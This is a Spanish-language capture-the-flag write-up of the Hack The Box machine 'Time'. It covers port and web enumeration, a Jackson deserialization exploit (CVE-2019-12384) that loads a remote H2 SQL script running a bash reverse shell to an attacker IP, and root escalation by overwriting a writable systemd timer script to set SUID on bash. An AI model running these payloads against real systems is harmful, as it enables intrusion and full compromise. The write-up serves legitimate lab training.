Time [MEDIUM🔵]
Dificultad: Medio
1- Reconocimiento y escaneo
1.1 Ping
1.1 Ping
ping -c 1 10.10.10.214
❯ ping -c 1 10.10.10.214
PING 10.10.10.214 (10.10.10.214) 56(84) bytes of data.
64 bytes from 10.10.10.214: icmp_seq=1 ttl=63 time=173 ms
--- 10.10.10.214 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 172.632/172.632/172.632/0.000 ms
Podemos notar que se trata de una maquina Linux, debido al TTL:
TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)
1.2 Nmap
1.2 Nmap
nmap -sS -sCV -p- --min-rate 5000 -open -n -Pn 10.10.10.214 -oN escaneo.txt
❯ nmap -sS -sCV -p- --min-rate 5000 -open -n -Pn 10.10.10.214 -oN escaneo.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-17 20:59 -03
Nmap scan report for 10.10.10.214
Host is up (0.17s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
| 256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_ 256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Online JSON parser
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.05 seconds
Podemos ver los puertos 22(OpenSSH 8.2p1) correspondiente a un servidor SSH para control remoto mediante linea de comandos y el puerto 80(Apache 2.4.41) correspondiente a un servidor web
1.3 whatweb
1.3 whatweb
whatweb http://10.10.10.214
❯ whatweb http://10.10.10.214
http://10.10.10.214 [200 OK] Apache[2.4.41], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.10.214], JQuery[3.2.1], Script, Title[Online JSON parser]
Se pueden ver tecnologías webs como:
Apache 2.4.41
Boostrap
JQuery 3.2.1

1.4 Fuzzing
1.4 Fuzzing
wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.214/FUZZ
❯ wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.214/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.214/FUZZ
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000002: 301 9 L 28 W 313 Ch "images"
000000536: 301 9 L 28 W 310 Ch "css"
000001467: 301 9 L 28 W 313 Ch "vendor"
000002757: 301 9 L 28 W 312 Ch "fonts"
000000939: 301 9 L 28 W 309 Ch "js"
000001059: 301 9 L 28 W 317 Ch "javascript"
000045226: 200 87 L 164 W 3813 Ch "http://10.10.10.214/"
000095510: 403 9 L 28 W 277 Ch "server-status"
Total time: 342.3938
Processed Requests: 220546
Filtered Requests: 220538
Requests/sec.: 644.1296
2- Explotación
2.1 SSRF - Server-Side Request Forgery
2.1 SSRF - Server-Side Request Forgery
Dentro de la pagina web, encontre que se acontece una vulnerabilidad SSRF para ejecución remota de comandos(RCE), si nos vamos a la pagina web y cambiamos la lista de "Beautify" a "Validate" y ponemos un "hola":

Vemos que se acontece un error:
Validation failed: Unhandled Java exception: com.fasterxml.jackson.core.JsonParseException: Unrecognized token 'hola': was expecting ('true', 'false' or 'null')
Podemos ver que esto se ejecuta con el lenguaje de programación en Java
, tambien vemos algo interesante relacionado a una librería de Java llamada "jackson"
, si investigamos sobre esta aplicación, podremos encontrar que se acontece un SSRF de una vulnerabilidad publica "CVE-2019-12384"
Podremos encontrar algún exploit en GitHub, en mi caso utilizare el siguiente repo:
En este repositorio tendremos la explicación tambien de como explotar la vulnerabilidad
Primeramente vamos a alojarnos un servidor web por el puerto 80 con Python en nuestro Kali:
❯ cd scripts
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Luego vamos a crear un archivo de extensión SQL, correspondiente a instrucciones SQL que nos va a permitir ejecutar comandos remotamente:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('id > exploited.txt')
En esta linea en concreto podremos ver el comando a ejecutar
CALL SHELLEXEC('id > exploited.txt')
Vamos a cambiarla para obtener una shell con netcat:
CALL SHELLEXEC('bash -i >& /dev/tcp/{IP}/443 0>&1')
En mi caso:
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.14.12/443 0>&1')
De tal manera que el codigo SQL quedaria de la siguiente manera:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
String[] command = {"bash", "-c", cmd};
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : ""; }
$$;
CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.14.12/443 0>&1')
Lo guardamos:
❯ cd scripts
❯ nvim inject.sql
❯ cat inject.sql
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: inject.sql
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
2 │ String[] command = {"bash", "-c", cmd};
3 │ java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
4 │ return s.hasNext() ? s.next() : ""; }
5 │ $$;
6 │ CALL SHELLEXEC('bash -i >& /dev/tcp/10.10.14.12/443 0>&1')
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Y ahora vamos a ponernos en escucha con netcat por el puerto 443:
❯ nc -nlvp 443
listening on [any] 443 ...
Y por ultimo, vamos a irnos a la pagina web y dentro del campo donde pongamos el JSON, vamos a poner lo siguiente:
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"}]
Recordemos que a este oneliner tenemos que especificarle nuestra IP de la VPN de Hack The Box:
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.12/inject.sql'"}]
Ahora si, vamos al sitio web, cambiamos a "Validate", lo pegamos y lo procesamos:

Volvemos a donde teniamos netcat en escucha por el puerto 443:
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.214] 47234
bash: cannot set terminal process group (926): Inappropriate ioctl for device
bash: no job control in this shell
pericles@time:/var/www/html$
Y ya tendremos una reverse shell
2.2 Tratamiento de la TTY
2.2 Tratamiento de la TTY
Vamos a realizar el tratamiento de la TTY para obtener una shell como dios manda :)
"script /dev/null -c bash"
:
pericles@time:/var/www/html$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
pericles@time:/var/www/html$
CTRL + Z:
pericles@time:/var/www/html$ ^Z
zsh: suspended nc -nlvp 443
Y vamos a ejecutar el siguiente comando:
stty raw -echo; fg
Ejecutamos:
❯ stty raw -echo; fg
[1] + continued nc -nlvp 443
Y ahora ejecutamos:
reset xterm
Ejecutamos y nos va a devolver a la reverse shell que obtuvimos:
pericles@time:/var/www/html$
Ahora vamos a exportar XTERM como TERM y BASH como consola, como variables de entorno:
svc_acc@late:~/app$ export SHELL=bash
svc_acc@late:~/app$ export TERM=xterm
svc_acc@late:~/app$
Para verificar que el tratamiento de la TTY se realizo correctamente, pondremos "echo $SHELL"
o "echo $TERM"
:
svc_acc@late:~/app$ echo $SHELL
bash
svc_acc@late:~/app$ echo $TERM
xterm
svc_acc@late:~/app$
Ahora vamos a ajustar el tamaño de la consola, primero vamos a verificar el tamaño de nuestra consola con "stty size"
❯ stty size
39 182
En mi caso es de 39 filas y 182 columnas
A si que vamos a especificarlo en la reverse shell con el siguiente comando:
stty rows {Filas} columns {Columnas}
pericles@time:/var/www/html$ stty rows 39 columns 182
pericles@time:/var/www/html$
El tratamiento de la TTY corresponde hacerlo cuando debemos hacer muchas cosas con una reverse shell y necesitamos realizar algunas tareas como utilizar un editor de texto en consola, entre otras
2.3 Obtención de la flag user
2.3 Obtención de la flag user
La flag de user se encuentra dentro de la ruta absoluta "home/pericles/user.txt"
, vamos a visualizar la flag:
pericles@time:/var/www/html$ cat /home/pericles/user.txt
0943ecd4956ef1520ff0c0e6e1ef7dc7
pericles@time:/var/www/html$
3- Escalado de privilegios
3.1 timer_backup.service
3.1 timer_backup.service
Luego de estar haciendo reconocimiento y enumeramiento de la maquina para escalar privilegios, me di cuenta que cada 10 segundos, se esta ejecutando un script llamado "timer_backup.sh", esto no es una tarea CRON, si no que es un servicio que esta ejecutandose por detras y que se encarga de ejecutar este script
Vamos a ver el servicio que se esta ejecutando con el comando "systemctl":
systemctl list-timers
pericles@time:/var/www/html$ systemctl list-timers
NEXT LEFT LAST PASSED UNIT ACTIVATES
Tue 2025-03-18 02:49:31 UTC 7s left Tue 2025-03-18 02:49:21 UTC 2s ago timer_backup.timer timer_backup.service
Tue 2025-03-18 03:09:00 UTC 19min left Tue 2025-03-18 02:39:00 UTC 10min ago phpsessionclean.timer phpsessionclean.service
Tue 2025-03-18 03:10:09 UTC 20min left Tue 2021-02-09 14:42:14 UTC 4 years 1 months ago motd-news.timer motd-news.service
Tue 2025-03-18 03:55:21 UTC 1h 5min left Thu 2020-10-22 18:44:20 UTC 4 years 4 months ago apt-daily.timer apt-daily.service
Tue 2025-03-18 06:49:16 UTC 3h 59min left Tue 2025-03-18 00:08:06 UTC 2h 41min ago apt-daily-upgrade.timer apt-daily-upgrade.service
Tue 2025-03-18 08:00:52 UTC 5h 11min left Thu 2020-10-22 20:24:53 UTC 4 years 4 months ago fwupd-refresh.timer fwupd-refresh.service
Wed 2025-03-19 00:00:00 UTC 21h left Tue 2025-03-18 00:07:15 UTC 2h 42min ago logrotate.timer logrotate.service
Wed 2025-03-19 00:00:00 UTC 21h left Tue 2025-03-18 00:07:15 UTC 2h 42min ago man-db.timer man-db.service
Wed 2025-03-19 00:22:11 UTC 21h left Tue 2025-03-18 00:22:10 UTC 2h 27min ago systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
Sun 2025-03-23 03:10:49 UTC 5 days left Tue 2025-03-18 00:07:36 UTC 2h 41min ago e2scrub_all.timer e2scrub_all.service
Mon 2025-03-24 00:00:00 UTC 5 days left Tue 2025-03-18 00:07:15 UTC 2h 42min ago fstrim.timer fstrim.service
11 timers listed.
Pass --all to see loaded but inactive timers, too.
pericles@time:/var/www/html$
El servicio se llama "timer_backup.service"
Tue 2025-03-18 02:49:31 UTC 7s left Tue 2025-03-18 02:49:21 UTC 2s ago timer_backup.timer timer_backup.service
Si realizamos una búsqueda desde la raíz del equipo con archivos que contengan en el nombre "timer_backup" con cualquier extensión, veremos lo siguiente:
find / -name timer_backup\* 2>/dev/null
pericles@time:/$ find / -name timer_backup\* 2>/dev/null
/etc/systemd/system/timers.target.wants/timer_backup.timer
/etc/systemd/system/timer_backup.timer
/etc/systemd/system/timer_backup.service
/usr/bin/timer_backup.sh
pericles@time:/$
Vemos un archivo llamado "timer_backup.sh"
/usr/bin/timer_backup.sh
Vamos a ver los permisos que tenemos sobre este archivo que se ejecuta automáticamente cada 10 segundos mediante el servicio "timer_backup.service"
ls -la /usr/bin/timer_backup.sh
pericles@time:/$ ls -la /usr/bin/timer_backup.sh
-rwxrw-rw- 1 pericles pericles 88 Mar 18 02:55 /usr/bin/timer_backup.sh
pericles@time:/$
Tenemos permisos de escritura sobre el archivo, por lo que podríamos modificarlo para escalar privilegios, por lo que podríamos decirle al archivo que le de permisos SUID a la Bash, para nosotros ejecutar una bash como root desde este mismo usuario
Vamos a abrirlo con un editor de texto y veremos que contiene lo siguiente:
#!/bin/bash
zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip
Nosotros vamos a reemplazar este código bash por lo siguiente:
#!/bin/bash
chmod 4777 /bin/bash
Una vez modificado:
pericles@time:/$ nano /usr/bin/timer_backup.sh
pericles@time:/$ cat /usr/bin/timer_backup.sh
#!/bin/bash
chmod 4777 /bin/bash
pericles@time:/$
Vamos a ver los permisos que contiene Bash:
-rwsrwxrwx 1 root root 1183448 Feb 25 2020 /bin/bash
Tenemos la Bash con permisos SUID, por lo que quedaria ejecutar una Bash en modo privilegiado
bash -p
pericles@time:/$ bash -p
bash-5.0#
3.2 Obtención de la flag root
3.2 Obtención de la flag root
La flag de root se encuentra dentro de la ruta absoluta "/root/root.txt"
, vamos a visualizar la flag:
bash-5.0# cat /root/root.txt
da07e000303063ef0ff4b2ecf7c88045
bash-5.0#
Con esto, concluimos la maquina "Time" de Hack The Box
Espero te haya sido de ayuda este Write Up :)
Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales
Última actualización